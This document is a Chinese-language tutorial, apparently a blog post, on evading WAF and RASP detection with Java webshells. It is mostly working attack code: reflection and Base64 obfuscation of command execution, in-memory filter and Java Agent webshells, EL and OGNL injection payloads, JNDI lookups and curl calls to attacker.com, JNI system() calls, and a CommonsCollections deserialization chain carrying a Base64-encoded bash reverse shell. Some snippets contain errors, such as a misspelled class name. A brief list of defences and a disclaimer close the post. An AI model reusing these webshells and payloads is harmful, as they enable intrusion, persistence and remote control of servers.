一、基础绕过:混淆与编码
目标:绕过基于关键词(如Runtime
,exec
)的静态检测。
<%!
// 1. Base64编码隐藏命令
String cmd = "Y2FsYy5leGU="; // calc.exe的Base64编码
String decodedCmd = new String(java.util.Base64.getDecoder().decode(cmd));
// 2. 反射调用Runtime执行命令
public void execute(String cmd) throws Exception {
Class<?> rtClass = Class.forName("java.lang.Runtime");
Method execMethod = rtClass.getMethod("exec", String.class);
Object runtime = rtClass.getMethod("getRuntime").invoke(null);
execMethod.invoke(runtime, cmd);
}
%>
<%
// 调用方式:通过反射隐藏直接调用
execute(decodedCmd);
%>
绕过点:
-
使用反射隐藏
Runtime
和exec
关键词 -
Base64编码避免明文命令暴露
二、类加载绕过:自定义ClassLoader
目标:绕过黑名单检测,直接加载字节码。
<%!
// 1. 自定义恶意类(编译后的字节码)
byte[] evilClassBytes = new byte[]{-54,-2,-70,-66,0,0,0,52,...}; // 恶意类的字节码
// 2. 自定义ClassLoader加载类
public class EvilClassLoader extends ClassLoader {
public Class<?> define(byte[] bytes) {
return super.defineClass(bytes, 0, bytes.length);
}
}
// 3. 加载并执行恶意类
EvilClassLoader loader = new EvilClassLoader();
Class<?> evilClass = loader.define(evilClassBytes);
Method mainMethod = evilClass.getMethod("main", String[].class);
mainMethod.invoke(null, new Object[]{new String[]{}});
%>
绕过点:
-
直接加载字节码,绕过文件上传检测
-
无文件落地,内存中执行
三、利用框架特性:EL表达式注入
目标:利用框架的表达式解析功能执行命令(如Spring MVC)。
${pageContext.request.getSession().setAttribute("cmd",
pageContext.getClass().getClassLoader().loadClass("java.lang.Runtime")
.getMethod("exec", String.class).invoke(null, "calc.exe"))}
绕过点:
-
利用JSP EL表达式直接执行代码
-
无需显式调用
Runtime
,绕过静态检测
四、反射+字符串拆分
目标:通过字符串拆分隐藏敏感方法名。
<%
// 拆分"exec"为"ex"+"ec"
String methodPart1 = "ex";
String methodPart2 = "ec";
String methodName = methodPart1 + methodPart2;
// 反射调用
Class<?> rtClass = Class.forName("java.lang.Runtime");
Method execMethod = rtClass.getMethod(methodName, String.class);
Object runtime = rtClass.getMethod("getRuntime").invoke(null);
execMethod.invoke(runtime, "calc.exe");
%>
绕过点:
-
动态拼接方法名,绕过静态字符串匹配
五、内存马:无文件注入
目标:通过动态注册Filter/Servlet实现无文件持久化。
<%!
// 1. 创建恶意Filter
public class EvilFilter implements Filter {
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) {
String cmd = req.getParameter("cmd");
if (cmd != null) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {}
}
chain.doFilter(req, res);
}
}
%>
<%
// 2. 动态注册Filter到当前Context
ServletContext context = request.getServletContext();
FilterRegistration.Dynamic filter = context.addFilter("EvilFilter", new EvilFilter());
filter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*");
%>
绕过点:
-
无文件写入,驻留内存
-
与正常请求混合,隐蔽性强
六、利用JNDI绕过
目标:结合高低版本JDK特性绕过RASP检测(如Log4j漏洞)。
<%
// 利用JNDI注入(需目标出网)
String jndiUrl = "ldap://attacker.com/Exploit";
new javax.naming.InitialContext().lookup(jndiUrl);
%>
绕过点:
-
利用外部资源加载恶意类
-
依赖JDK版本特性(如JDK < 8u191)
Java WebShell绕过WAF的进阶技巧
以下是针对Java WebShell绕过WAF的进阶技巧及实际代码案例,结合协议层绕过、框架特性、反射混淆等多种方法,确保内容未重复之前提到的反射、类加载、EL表达式等常见方式:
一、协议层绕过:分块传输编码
目标:通过分块传输HTTP请求体,绕过WAF对固定长度的内容检测。
原理:WAF可能仅解析固定长度的请求体,分块传输可将恶意代码拆分到多个块中,绕过静态规则匹配。
// Java模拟分块传输的HTTP请求(示例片段)
String cmd = "curl http://attacker.com/shell.jsp";
String chunkedBody = "4\r\n" + "cmd=" + "\r\n"
+ (cmd.length() - 4) + "\r\n" + cmd.substring(4) + "\r\n0\r\n\r\n";
Socket socket = new Socket("target.com", 80);
OutputStream out = socket.getOutputStream();
String request = "POST /upload.jsp HTTP/1.1\r\n"
+ "Host: target.com\r\n"
+ "Transfer-Encoding: chunked\r\n\r\n"
+ chunkedBody;
out.write(request.getBytes());
绕过点:
-
使用
Transfer-Encoding: chunked
拆分恶意参数,避免完整关键词被检测。
二、框架特性利用:Struts2 OGNL表达式拼接
目标:绕过Struts2漏洞利用时对dispatcher
和Runtime
等关键词的拦截。
案例:通过字符串拼接绕过关键字过滤
// 构造OGNL表达式绕过WAF规则
String payload = "${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),"
+ "#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),"
+ "new java.io.BufferedReader(new java.io.InputStreamReader("
+ "Runtime.getRuntime().exec('whoami').getInputStream())).readLine()}";
// 发送恶意请求(需结合漏洞触发点)
绕过点:
-
拆分敏感类名(如
com.opensymphony.xwork2.dispatcher.HttpServletRequest
)为多段拼接,绕过静态规则。
三、动态代理与Lambda表达式隐藏调用链
目标:利用Java动态代理或Lambda特性隐藏恶意代码执行链。
代码示例:
// 使用Lambda表达式隐藏Runnable执行
Runnable task = () -> {
try {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
// 处理输出...
} catch (IOException e) { /* 异常处理 */ }
};
new Thread(task).start();
// 动态代理隐藏方法调用
InvocationHandler handler = (proxy, method, args) -> {
if (method.getName().equals("toString")) {
return Runtime.getRuntime().exec((String) args[0]);
}
return null;
};
Object proxy = Proxy.newProxyInstance(
handler.getClass().getClassLoader(),
new Class<?>[]{Runnable.class},
handler
);
((Runnable) proxy).run();
绕过点:
-
Lambda和动态代理使调用链难以被静态分析工具捕获。
四、JNI调用本地代码执行命令
目标:通过Java Native Interface(JNI)调用本地编译的恶意代码,绕过Java层检测。
步骤:
-
编写本地方法(C/C++):
#include <jni.h>
#include <stdlib.h>
JNIEXPORT void JNICALL Java_EvilClass_exec(JNIEnv *env, jobject obj, jstring cmd) {
const char *command = (*env)->GetStringUTFChars(env, cmd, 0);
system(command);
(*env)->ReleaseStringUTFChars(env, cmd, command);
}
-
Java层加载动态库:
public class EvilClass {
static { System.loadLibrary("evil"); }
public native void exec(String cmd);
public static void main(String[] args) {
new EvilClass().exec("calc.exe");
}
}
绕过点:
-
恶意逻辑实现在本地代码中,Java层仅调用JNI接口,绕过基于Java关键字的检测。
五、内存马注入:基于Java Agent的无文件驻留
目标:通过Java Agent机制动态修改字节码,注入内存马。
代码片段(需结合Agent实现):
// Agent入口类
public class AgentMain {
public static void premain(String args, Instrumentation inst) {
inst.addTransformer((loader, className, classBeingRedefined,
protectionDomain, classfileBuffer) -> {
if (className.equals("javax/servlet/http/HttpServlet")) {
// 修改HttpServlet的service方法,插入恶意逻辑
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(className);
CtMethod method = ctClass.getDeclaredMethod("service");
method.insertBefore("Runtime.getRuntime().exec(\"touch /tmp/pwned\");");
return ctClass.toBytecode();
}
return null;
});
}
}
绕过点:
-
通过字节码修改实现无文件持久化,驻留在JVM内存中,避免文件扫描。
六、利用Java反序列化漏洞绕过
目标:通过反序列化链执行命令,结合编码和混淆绕过WAF。
案例:使用CommonsCollections链并混淆类名
// 生成混淆后的序列化Payload(示例)
String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}";
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry entry = new TiredMapEntry(lazyMap, "key");
// 序列化entry对象并发送...
绕过点:
-
使用Base64编码命令,并通过反序列化链动态加载,避免直接出现
Runtime
和exec
。
七、HTTP参数污染与畸形请求
目标:利用HTTP协议解析差异绕过WAF规则。
示例:通过重复参数或畸形头注入恶意内容
// 构造包含多个同名参数的请求(参数污染)
String url = "http://target.com/cmd.jsp?cmd=ls&cmd=;id";
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
con.setRequestMethod("GET");
// 某些WAF可能只检测第一个参数,后端取最后一个值执行
绕过点:
-
利用后端框架(如Spring)取最后一个参数的特性,绕过WAF对首个参数的检测。
防御建议
-
深度协议解析:WAF需支持分块传输、多格式Content-Type解析。
-
动态行为监控:RASP技术检测反射、JNI、动态代理等高危操作。
-
框架补丁管理:及时修复Struts2、Spring等框架漏洞。
-
流量基线分析:建立正常流量模型,识别异常请求模式。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)